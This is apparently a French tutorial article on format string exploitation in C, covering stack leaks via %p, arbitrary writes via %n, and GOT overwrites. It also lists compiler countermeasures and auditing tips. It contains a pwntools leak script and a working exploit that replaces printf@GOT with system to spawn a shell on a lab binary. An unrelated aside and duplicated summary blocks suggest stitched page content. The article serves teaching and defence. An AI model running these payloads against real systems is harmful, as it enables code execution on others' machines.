Les vulnérabilités de format string constituent un classique de l'exploitation binaire : apparues dans les années 2000, elles demeurent parfaitement d'actualité en 2026. La faille survient lorsqu'une entrée contrôlée par l'attaquant est passée comme premier argument à une fonction de formatage — printf, sprintf, fprintf ou syslog — sans spécificateur de format explicite. Le programme interprète alors les données utilisateur comme une chaîne de format, ce qui ouvre deux primitives redoutables : la lecture arbitraire de la mémoire via %x, %s ou %p, et l'écriture arbitraire via %n. Maîtriser la format string exploitation printf revient donc à transformer un simple crash en contrôle total du flux d'exécution. Malgré les protections modernes (ASLR, PIE, RELRO complet, FORTIFY_SOURCE), ces bugs ressurgissent dans le code embarqué, les firmwares et les projets legacy, où ils mènent encore à une exécution de code à distance.

En bref

  • printf(user_input) sans format string fixe = lecture ET écriture arbitraire de la mémoire
  • %x/%p leak la stack (canary, adresses libc/PIE pour bypass ASLR), %n écrit en mémoire
  • GOT overwrite via %n : remplacer printf@GOT par system pour obtenir RCE
  • Full RELRO bloque le GOT overwrite — cibler l'adresse de retour ou les hooks malloc
  • Wformat-security -Werror et FORTIFY_SOURCE détectent et bloquent les format strings vulnérables
\

En bref

  • Mécanisme : printf sans format string = lecture/écriture arbitraire de la mémoire
  • Lecture stack : %x, %p pour leak d'adresses (bypass ASLR, canary leak)
  • Écriture mémoire : %n/%hn pour écrire à des adresses contrôlées (GOT overwrite)
  • Exploitation moderne : format string + ROP chain sur systèmes avec full RELRO et PIE
  • Contre-mesures : -Wformat, -Wformat-security, FORTIFY_SOURCE et audit de code
\
Format String Vulnerability — Vulnérabilité qui survient quand une entrée utilisateur est passée directement comme format string à une fonction de la famille printf. L'attaquant contrôle les spécificateurs de format (%x, %s, %n) et peut lire la stack, lire la mémoire arbitraire et écrire à des adresses arbitraires.
\

Mécanisme de Base : printf et la Stack

\

Les fonctions printf en C utilisent des arguments variadiques : elles lisent les arguments depuis la stack (ou les registres sur x64) selon les spécificateurs de format. Si l'attaquant contrôle la format string, il peut :

\
// CODE VULNÉRABLE\ char user_input[256];\ fgets(user_input, sizeof(user_input), stdin);\ printf(user_input); // ❌ VULNÉRABLE — l'utilisateur contrôle le format\ \ // CODE CORRIGÉ\ printf("%s", user_input); // ✅ SÉCURISÉ — format string fixe\ \ // Exploitation :\ // Input: "%x.%x.%x.%x" → lit 4 valeurs de la stack\ // Input: "%s" → lit une string à l'adresse pointée par le prochain arg stack\ // Input: "%n" → ÉCRIT le nombre de caractères imprimés à l'adresse stack\ // Input: "AAAA%7$n" → Écrit à l'adresse 0x41414141 (si AAAA est au 7ème arg)
\

Lecture de la Stack : Leak d'Informations

\

Les spécificateurs %x (hex 32-bit), %p (pointer), %lx (hex 64-bit) et %s (string) permettent de lire le contenu de la stack. En itérant les positions (%1$x, %2$x, %3$x...), l'attaquant reconstruit l'intégralité de la stack et extrait :

⚡

Retour terrain

Dans les projets techniques complexes, j'ai appris à toujours commencer par auditer la documentation existante plutôt que l'infrastructure elle-même. Dans 80 % des cas, le delta entre la documentation et la réalité est la source première de risques. Une infrastructure bien documentée qui ne correspond pas à la réalité est plus dangereuse qu'une infrastructure sans documentation — parce qu'elle induit une fausse confiance.

\
    \
  • Adresses de retour : leak des adresses de la stack et du code pour bypass ASLR
  • \
  • Stack canary : leak de la valeur canary pour bypass stack protection
  • \
  • Adresses libc : calcul de l'adresse de base de la libc pour les attaques ret2libc/ROP
  • \
  • PIE base : leak d'adresses du binaire pour bypass PIE
  • \
\
#!/usr/bin/env python3\ # Leak automatisé via format string\ from pwn import *\ \ elf = ELF('./vuln')\ p = process('./vuln')\ \ # Itérer les positions de la stack pour trouver des adresses intéressantes\ for i in range(1, 30):\  p.sendline(f'%{i}$p'.encode())\  leak = p.recvline().strip()\  print(f"Position {i:2d}: {leak}")\  # Identifier les adresses : stack, libc, PIE, canary\  # Canary: typiquement se termine par 0x00 (null byte)\  # Libc: commence par 0x7f sur x64\  # PIE: correspond à la plage du binaire
\

Écriture Mémoire : Le Spécificateur %n

\

Le spécificateur %n écrit le nombre de caractères imprimés jusqu'à ce point à l'adresse pointée par l'argument correspondant. Avec un contrôle sur la format string ET la possibilité de placer une adresse sur la stack, l'attaquant peut écrire n'importe quelle valeur à n'importe quelle adresse :

\
# GOT Overwrite via format string (x64, pwntools)\ from pwn import *\ \ elf = ELF('./vuln')\ p = process('./vuln')\ \ # Cible : écraser l'entrée GOT de printf par l'adresse de system\ # printf@GOT sera appelé avec l'argument contrôlé → system(user_input)\ \ got_printf = elf.got['printf'] # Adresse de printf dans la GOT\ system_addr = elf.symbols['system'] # Adresse de system (si no-PIE)\ \ # Utiliser %hn (half-word write, 2 octets) pour écrire adresse par morceaux\ # %hn écrit les 2 octets inférieurs du compteur de caractères\ \ # Construction du payload avec pwntools fmtstr_payload\ payload = fmtstr_payload(\  offset=7, # Position de notre input sur la stack\  writes={got_printf: system_addr}, # Quoi écrire où\  numbwritten=0, # Caractères déjà imprimés\  write_size='short' # Utiliser %hn (2 octets) au lieu de %n (4)\ )\ \ p.sendline(payload)\ # Au prochain appel printf(user_input) → system(user_input)\ p.sendline(b'/bin/sh')\ p.interactive()
\

Exploitation Moderne : Full RELRO et PIE

\

Sur les systèmes modernes avec Full RELRO (GOT read-only), PIE (binaire à position indépendante) et ASLR, l'exploitation format string nécessite une approche en deux étapes :

\
    \
  1. Étape 1 — Information Leak : utiliser %p pour leak les adresses stack, libc et PIE base. Calculer les adresses de gadgets ROP et de system/execve.
  2. \
  3. Étape 2 — Exploitation : avec les adresses connues, écraser l'adresse de retour sur la stack (via %n) avec une ROP chain, ou écraser un pointeur de fonction (hook malloc, __free_hook avant glibc 2.34, etc.).
  4. \
\

Format String sur le Heap

\

Les format strings ne sont pas toujours sur la stack — parfois le buffer est alloué sur le heap (malloc). Dans ce cas, l'attaquant ne peut pas placer d'adresses directement accessibles via les spécificateurs %n. La technique consiste à trouver des pointeurs sur la stack qui pointent vers d'autres pointeurs (chaîne de pointeurs) et à utiliser %n en deux passes : d'abord modifier le pointeur intermédiaire, puis utiliser ce pointeur modifié pour écrire à l'adresse cible.

\

Contre-mesures de Compilation

\
    \
  • -Wformat -Wformat-security : avertissements à la compilation pour les format strings non constantes
  • \
  • -Werror=format-security : transforme l'avertissement en erreur (empêche la compilation)
  • \
  • -D_FORTIFY_SOURCE=2 : remplace printf par __printf_chk qui détecte les %n dans les format strings writables
  • \
  • Audit de code : rechercher tous les appels printf/sprintf/syslog avec un premier argument non-constant
  • \
  • Fuzzing : les fuzzers (AFL++, libFuzzer) détectent les crashes format string automatiquement
  • \
\
? Conseil pratique — Pour rechercher les vulnérabilités format string dans du code C/C++, utilisez grep -rn 'printf(\\\\s*[a-z]' src/ pour trouver les appels printf dont le premier argument est une variable. L'outil cppcheck et Coverity détectent automatiquement les format strings non sécurisées. En CTF, pwntools fournit fmtstr_payload() pour générer automatiquement les payloads d'écriture %n.
\

À retenir

  • printf(user_input) sans format string fixe = lecture ET écriture arbitraire de la mémoire
  • %x/%p leak la stack (canary, adresses libc/PIE pour bypass ASLR), %n écrit en mémoire
  • GOT overwrite via %n : remplacer printf@GOT par system pour obtenir RCE
  • Full RELRO bloque le GOT overwrite — cibler l'adresse de retour ou les hooks malloc
  • -Wformat-security -Werror et FORTIFY_SOURCE détectent et bloquent les format strings vulnérables
\

Références externes